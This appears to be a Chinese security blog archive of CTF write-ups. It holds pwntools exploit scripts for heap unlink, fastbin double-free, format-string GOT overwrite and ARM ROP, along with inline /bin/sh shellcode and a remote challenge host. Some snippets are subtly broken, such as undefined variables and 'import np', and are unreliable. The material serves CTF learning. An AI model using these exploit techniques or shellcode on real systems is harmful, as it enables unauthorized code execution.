【web】jarvis oj 刷题

web?

1
2
3
4
5
6
7
8
9
10
11
import np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = np.array(o)
r = np.array(r)
x = np.linalg.solve(o,r)
print x
string = ''
for i in x:
string += chr(int(str(i)[0:-2]))
print string

墨色的五月

前言

又是很久没更新博客了,毕竟我比较懒 = =。。。

这个月基本上没怎么做练习,去了趟北京被web狗吊打了ORZ。。。TCTF又被pwn题目吊打了,自身的实力距离国外强队的实力还是很大的(摊手)。

最近一段时间把毕业答辩、毕业设计、毕业论文等等等等等关于毕业的事情搞定啦。

比赛的话,最近还有两个比赛项目,一个是铁人、一个是jz的选拔赛。

总觉得自己应该在其他方面加强一点了,pwn的实力与其他方面的实力差太多太多了。

1、 加强数据流量分析能力(应对铁人三项,参考科赛

2、 加强web安全攻防能力(应对jz选拔赛,可以从vulhub、pwnhub学习

【pwn】2017-429final

前言

下次pwn选手真的不该去429线下。。这BGM神TM的= =。。

比赛很稳,主队拿了第7,分队第12,不过需要反思的是:

1、解pwn的速度还需要提升(awd形式尽早写出exp拿分很有优势)

2、web的话一定要防御住、防御住、防御住、重要的话说三遍。。

3、写好的exp脚本交由负责流量审计的队友来维护

4、pwn需要一个后门,不然遇到别人劫持了我们的exp流量就很吃亏了。

5、exp需要将getflag和uploadflag分开,并且分析本轮次没有拿到哪些队伍的flag

6、IDA分析不了的 ELF二进制文件就交给objdump来分析吧(静态分析软件也就这么几个,遇到二进制文件不能静态分析就惨了。

7、hook了pwn的read,但是别人没打我们队伍的pwn,估计是怕我们劫持流量。(摊手

8、十进制和十六进制。。。老是忘记在代码中区分。。ORZ

进入主题吧

【pwn】2017-429预赛

前言

槽点:这次比赛。。敢不敢。。不放原题。。。做了半天的pwn2,结果是原题。。。 T T (题目来自hitcon 2016,好吧。。怪我没刷到这题。。

不过pwn1和pwn2收获都很大,特别记录下。

arm_double_free_attack

题目来源自 X-NUCA 2016的note题目。题目资料全都可以从我的github上下载。

简单的堆溢出题目,但是环境在arm上,有一些小坑,比如说0x200的chunk在这边行不通了,只能用0x100的chunk,0x200好像比变成了large chunk,果然基础弱渣在这里是无法生存的。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-09 08:34:41
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
# import roputils
from pwn import *
context(log_level="debug")
DEBUG = 1
target = "./note"
remote_ip = ""
port = 0
# rop = roputils.ROP(target)
# bss = rop.section('.bss')
# rop.got('puts')
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
if DEBUG:
p = process(target)
# gdb.attach(p,"b*main\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
def add(length,data):
ru("6. Exit")
sl("1")
# raw_input()
ru("\n")
sl(str(length))
ru("\n")
sl(data)
def dele(index):
ru("6. Exit")
sl("2")
ru("the id:")
sl(str(index))
def edit(index,data):
ru("6. Exit")
sl("5")
ru("\n")
sl(str(index))
ru("\n")
sl(data)
def edit_anyaddr(addr,data):
edit(1,p32(0)+p32(addr))
edit(0,data)
# stage 1 unlink
add(0,"a"*0x8)#0
add(0x100,"aaa")#1 >=0x200会使用large chunk
add(0x100,"aaa")#2
add(0x100,"/bin/sh\x00")#3
junk = "\x00"*8
head = p32(0)*2
fake_head = p32(0)+p32(0x101)
fd = p32(0x1205C+0x8-0xc)
bk = p32(0x1205C+0x8-0x8)
payload = junk+head
payload += fake_head+fd+bk
payload += "a"*(0x100-len(fake_head+fd+bk))
payload += p32(0x100)+p32(0x108)
edit(0,payload)
raw_input()
dele(2)
# stage 2 edit free_got
edit_anyaddr(0x12024,p32(0x8538)[:-1])#有零字节溢出,会破坏下一个got
dele(3)
p.interactive()

【pwn】 初探pwntools fmt特性

翻pwntools文档的时候突然发现了pwntools多了一个自动完成fmt漏洞利用的特性。

官方文档链接 http://pwntools.readthedocs.io/en/stable/fmtstr.html

在本地一看,pwntools还是2.x版本。。官方都已经更新到3.5版本了,于是果断更新= =。。

漏洞程序是这样子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [sp+1Ch] [bp-184h]@2
int v4; // [sp+9Ch] [bp-104h]@2
int v5; // [sp+11Ch] [bp-84h]@2
int v6; // [sp+19Ch] [bp-4h]@1
v6 = *MK_FP(__GS__, 20);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
print_welcome();
while ( 1 )
{
printf("First input:");
get_input(256, &v3);
printf("Second input:");
get_input(256, &v4);
strcpy((char *)&v5, (const char *)&v3);
printf((const char *)&v5);
putchar(44);
printf((const char *)&v4);
putchar(10);
puts("All is Done");
}
}

可以直接看到,有两处fmt漏洞,这是个循环,我们只需要循环利用其中一个fmt漏洞就可以。

我们可以利用pwntools提供fmt自动利用的功能快速算出格式化字符串在栈中的偏移。

1
2
3
4
5
6
7
8
9
10
11
# stage 1 get fmt offset
def exec_fmt(payload):
p = process(target)
p.recvuntil("input:")
p.sendline(payload)
p.recvuntil("input:")
p.sendline(payload)
return p.recvuntil(",")[:-1]
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

泄露出其中一个库函数地址后,利用我们本地搭建好的libc-database库算出system函数的地址。(如果出现多个匹配的话,就爆破吧:P

主要的还是它可以自动完成任意地址写的payload,就适合我这种深度懒癌患者

1
2
3
4
5
6
7
8
def send_payload(payload):
ru("input:")
sl(payload)
ru("input:")
sl("/bin/sh\x00")
autofmt = FmtStr(send_payload,offset=offset)
autofmt.write(printf_got,system_addr)
autofmt.execute_writes()

总的exp是这样子的。大概爆破三次就出结果,这还是我只泄露了一个库函数地址的情况下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-08 21:08:57
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils
from pwn import *
context(log_level="debug")
DEBUG = 1
target = "./echo"
rop = roputils.ROP(target)
bss = rop.section('.bss')+0x30
printf_got = rop.got('printf')
if DEBUG:
p = process(target)
# gdb.attach(p,"b*0x80486C1\nc")
else:
p = remote()
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
# stage 1 get fmt offset
def exec_fmt(payload):
p = process(target)
p.recvuntil("input:")
p.sendline(payload)
p.recvuntil("input:")
p.sendline(payload)
return p.recvuntil(",")[:-1]
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
def send_payload(payload):
ru("input:")
sl(payload)
ru("input:")
sl("/bin/sh\x00")
# stage 2 get system_addr
offset_system = [-63744, -78400, -55008, -57072, -55136, -61392, -55120, -59840, -64784, -59456, -58400, -58480, -60464, -76112, 3792, -70432, -58160, -1063904, -1042576, -1041936, -68192, -77448, -51488, -71904]
for o in offset_system:
try:
p = process(target)
printf_got = rop.got("printf")
puts_got = rop.got("puts")
ru("input:")
sl(p32(printf_got)+"%7$s")
ru("input:")
sl("payload")
printf_addr = u32(p.recv(8)[4:])
ru("input:")
sl(p32(puts_got)+"%7$s")
ru("input:")
sl("payload")
puts_addr = u32(p.recv(8)[4:])
print "printf_addr="+hex(printf_addr)
print "puts_addr="+hex(puts_addr)
system_addr = printf_addr+o
# stage 3 change printf_addr to system_addr
autofmt = FmtStr(send_payload,offset=offset)
autofmt.write(printf_got,system_addr)
autofmt.execute_writes()
# print offset
# print "bss_addr="+hex(bss)
# payload = fmtstr_payload(1,{bss:0xdeadbeaf},1,"byte")
# print payload
p.interactive()
except:
continue

后记:啥时候出个FSP自动利用的啊。。

how_to_get_libc

比赛的时候,遇到比较坑爹的情况,没有提供给libc库,这个时候就需要用各种姿势去泄露libc库。

1、询问组委会,是否提供libc库,很有可能就放提示了

2、通过return2libc技巧,泄露got内保存的库函数地址,去 http://libcdb.com/ 找对应的库版本,这边我写了一个get_libc的小脚本(但并不是百分之一百能找到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from requests import *
import re
# a_name = raw_input('input a_name= ')
# a_addr = raw_input('input a_addr=')
# b_name = raw_input('input b_name=')
# b_addr = raw_input('input b_addr=')
# a_name= 'read'
# a_addr='0xb76a9bd0'
# b_name='shutdown'
# b_addr='0xb76bc610'
a_name='printf'
a_addr='0x7f0ff5dadba0'
b_name='read'
b_addr='0x7f0ff5e50470'
may_system_offset=[]
url = 'http://libcdb.com/search?symbolA='+a_name+'&addressA='+a_addr+'&symbolB='+b_name+'&addressB='+b_addr
r1 = get(url)
list_ = re.findall(r'<li><a href="(.*?)">Libc\:',r1.content)
payload = 'may_system_offset = ['
if len(list_)>0:
for x in list_:
url = 'http://libcdb.com'+x+'/symbols?name=__libc_system'
system_offset = get(url)
system_offset = re.findall(r'/dt>\n <dd>(.*?)</dd>\n \n </dl>',system_offset.content)[0].replace('libc_base + 0x','')
print system_offset
url = 'http://libcdb.com'+x+'/symbols?name='+b_name
func_offset = get(url)
# print func_offset.content
func_offset = re.findall(r'>'+b_name+'</dt>\n <dd>(.*?)</dd>',func_offset.content)[0].replace('libc_base + 0x','')
may_system_offset.append(int(system_offset,16)-int(func_offset,16))
may_system_offset = list(set(may_system_offset))
for x in may_system_offset:
payload += hex(x)+','
payload = payload[:-1]
print payload+']'
else:
print 'oops! nothing!'
raw_input()

3、利用return to dl resolve技术,这个已经有成熟的辅助工具了。https://github.com/inaz2/roputils

4、利用其他题目的libc库,出题人为了方便,很有可能用的相同libc库

5、利用pwntools提供的dynelf函数来寻找system地址,不过需要有个leak函数。可参考 http://bobao.360.cn/learning/detail/3298.html (蛋疼的是,不知道为啥我的ELF()函数一直是坏的。


2017/5/23日添加

6、泄露Smallbin的FD、BK进行libc base获取

【pwn】T3CTF2017 堆溢出以及return to dl slove

pwn1,没什么好说的,看了下checksec,NX没开,栈迁移以后直接执行bss上的shellcode就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from roputils import *
import pwn
p = pwn.remote("127.0.0.1",12346)
addr_bss = 0x0804A080
buf = p32(0x0804A080+4)+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
buf += (0x1f4-len(buf))*'a'
p.send(buf)
buf = 'a'*504
buf += p32(0x0804A080+4)
p.sendline(buf)
data = p.recvuntil("\n")
p.sendline("cat /lib/x86_64-linux-gnu/libc.so.6")
p.interactive()

pwn2的libc可以从pwn1中获取。非常经典的double free教学题。可以参考 http://www.tuicool.com/articles/yquU732 (double free浅析,乌云的文章)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-07 19:09:17
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
from pwn import *
context(log_level="debug")
DEBUG = 0
if DEBUG:
p = process('./pwn2')
# gdb.attach(p,"b*0x0400A6D\nc")
else:
p = remote("120.27.248.138",12345)
def sd(data):
p.sendline(data)
def ru(data):
return p.recvuntil(data)
def add(index,length,data):
ru("the action:")
sd("1")
ru("note index:\n")
sd(str(index))
ru(" of the new note:\n")
sd(str(length))
ru("ts of note:")
sd(data)
def dele(index):
ru("the action:")
sd("2")
ru("ter the note index:")
sd(str(index))
def edit(index,length,data):
ru("the action:")
sd("3")
ru(" note index:")
sd(str(index))
ru(" new note:")
sd(str(length))
ru("of note:\n")
sd(data)
def show(index):
ru("the action:")
sd("4")
ru(" note index:")
sd(str(index))
def edit_anyaddr(addr,data):
payload = '\x00'*0x18+p64(0x6020a8)+p64(0)+p64(addr)
edit(0,len(payload),payload)
edit(2,len(data),data)
add(0,512,"aaa")
add(1,512,"aaa")
add(2,512,"aaa")
add(3,512,"/bin/sh\x00")
head = p64(0)+p64(1+512)
fd = p64(0x6020C0 - 0x18)
bk = p64(0x6020C0 - 0x10)
payload = head+fd+bk
payload += "a"*(512-len(payload))
payload += p64(512)+p64(512+0x10)
payload += "a"*(600-len(payload))
edit(0,600,payload)
dele(1)
free_got = 0x602018
edit_anyaddr(0x6020C0+0x20,p64(puts_got))
show(4)
free_addr = u64(ru("\n")[:-1].ljust(8,"\x00"))
print "free_addr="+hex(free_addr)
offset = 0x83940-0x45390
system_addr = puts_addr - offset
edit_anyaddr(0x602018,p64(system_addr))
dele(3)
p.interactive()
#flag{038a6d27a716d1e1472b1eded07c385d}

pwn3是fastbin double free attack的考察点,要利用这个攻击我们需要伪造出一个fake fastbin出来,所幸题目给予了所有的攻击条件。

可参考 https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-07 19:09:17
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils
from pwn import *
context(log_level="debug")
DEBUG = 1
if DEBUG:
p = process('./pwn3')
# gdb.attach(p,"b*0x4009da\nc")
# else:
# p = remote()
def sd(data):
p.sendline(data)
def ru(data):
return p.recvuntil(data)
def welcome(data):
ru("name\n")
sd(data)
def add(index,length,data):
ru("delete paper\n")
sd("1")
ru("o store(0-9):")
sd(str(index))
ru("ill enter:")
sd(str(length))
ru("our content:")
sd(data)
def add2(index,length,data):
sd("1")
ru("o store(0-9):")
sd(str(index))
ru("ill enter:")
sd(str(length))
ru("our content:")
sd(data)
def dele(index):
ru("delete paper\n")
sd("2")
ru("index(0-9):")
sd(str(index))
def setsize(size):
ru("delete paper\n")
sd("3")
ru("number:")
sd(str(size))
def leak_stack():
ru("delete paper\n")
sd("a"*(0x30))
ru("\n")
sd("a"*(0x30))
return u64(ru("\n")[0x30:0x30+6].ljust(8,"\x00"))
buf = ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
shellcode = buf
shellcode_addr = 0x6020c0
welcome(shellcode)
setsize(0x30)
stack_addr = leak_stack()
print "stack_addr="+hex(stack_addr)
offset = 0x7ffcfca53d30 - 0x00007ffcfca53c20
target_addr = stack_addr-offset-0x8
print "offset = "+hex(offset)
print "target_addr = "+hex(target_addr)
add2(0,0x20,"aaa")
add(1,0x20,"aaa")
dele(0)
dele(1)
dele(0)#a-b-a
add(0,0x20,p64(target_addr))
add(1,0x20,"aaa")
add(2,0x20,p64(target_addr))
payload = "a"*0x10+p64(shellcode_addr)
add(3,0x20,payload)
sd("4")
p.interactive()

ARM环境下栈溢出攻击初探

题目来自于2016年全国高校网安联赛pwn专场。

参考文献:http://www.freebuf.com/articles/terminal/107276.html

其中有一题warmup的题目,常规思路,使用file命令查看该文件格式,发现是arm下静态文件,之后常规考虑用ROPgadget生成ropchain,放入栈中执行,但是这边有区别,arm是以r0寄存器存放第一个函数参数的。所以我们需要手工构造ropchain,首先去找system函数,虽然该bin文件去符号化了,但是由于存在/bin/sh字符串,跟踪一下就发现了如下函数。

这不就是system函数么。。。

接着用ROPgadget来找一个控制r0寄存器的ropchain就可以了。。如下命令

ROPgadget --binary warmup --only "pop"|grep r0

找到了

0x00020904 : pop {r0, r4, pc}

接着就剩下构造ropchian并执行了,如下脚本。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(log_level="debug")
p = process('./warmup')
p.recvuntil('\n')
p.sendline()
raw_input()
pr0_pr4_ret =0x00020904
bin_sh = 0x6C384
system = 0x110B4
payload = p32(pr0_pr4_ret)+p32(bin_sh)+p32(0)+p32(system)
p.sendline('a'*0x70+payload)
p.interactive()

另一题login,模糊测试一下直接出payload。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import base64
context(log_level="debug")
p = process('./login')
payload = '\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x5d'
p.recvuntil('Code\n\n')
p.sendline(payload)
raw_input()
p.interactive()
,
隐藏